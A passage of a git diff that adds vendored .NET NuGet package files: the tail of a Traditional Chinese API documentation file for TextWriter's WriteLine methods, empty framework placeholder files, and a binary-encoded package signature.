null，只寫入行結束字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 使用與 方法相同的語意，將格式化字串和新行寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 要格式化及寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是一個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串和新行寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是兩個)。 + 1 + + + 使用與 相同的語意，寫出格式化字串和新行。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + 第三個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是三個)。 + 1 + + + 使用與 相同的語意，寫出格式化字串和新行。 + 複合格式字串 (請參閱＜備註＞)。 + 物件陣列，包含零或多個要格式化和寫入的物件。 + 傳入的字串或物件為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或者大於或等於 陣列的長度。 + 1 + + + 將 4 位元組不帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 4 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組不帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 8 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將行結束字元寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元陣列。如果字元陣列是 null，則只有行結束字元會被寫入。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/portable-net45+win8+wp8+wpa81/_._ b/packages/System.IO.4.3.0/ref/portable-net45+win8+wp8+wpa81/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/ref/win8/_._ b/packages/System.IO.4.3.0/ref/win8/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/ref/wp80/_._ b/packages/System.IO.4.3.0/ref/wp80/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/ref/wpa81/_._ b/packages/System.IO.4.3.0/ref/wpa81/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/ref/xamarinios10/_._ b/packages/System.IO.4.3.0/ref/xamarinios10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/ref/xamarinmac20/_._ b/packages/System.IO.4.3.0/ref/xamarinmac20/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/ref/xamarintvos10/_._ b/packages/System.IO.4.3.0/ref/xamarintvos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/ref/xamarinwatchos10/_._ b/packages/System.IO.4.3.0/ref/xamarinwatchos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/.signature.p7s b/packages/System.IO.Compression.4.3.0/.signature.p7s new file mode 100644 index 0000000000000000000000000000000000000000..df8920730d7030c118073d2997b2c61edd4d91fa GIT binary patch literal 9483 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 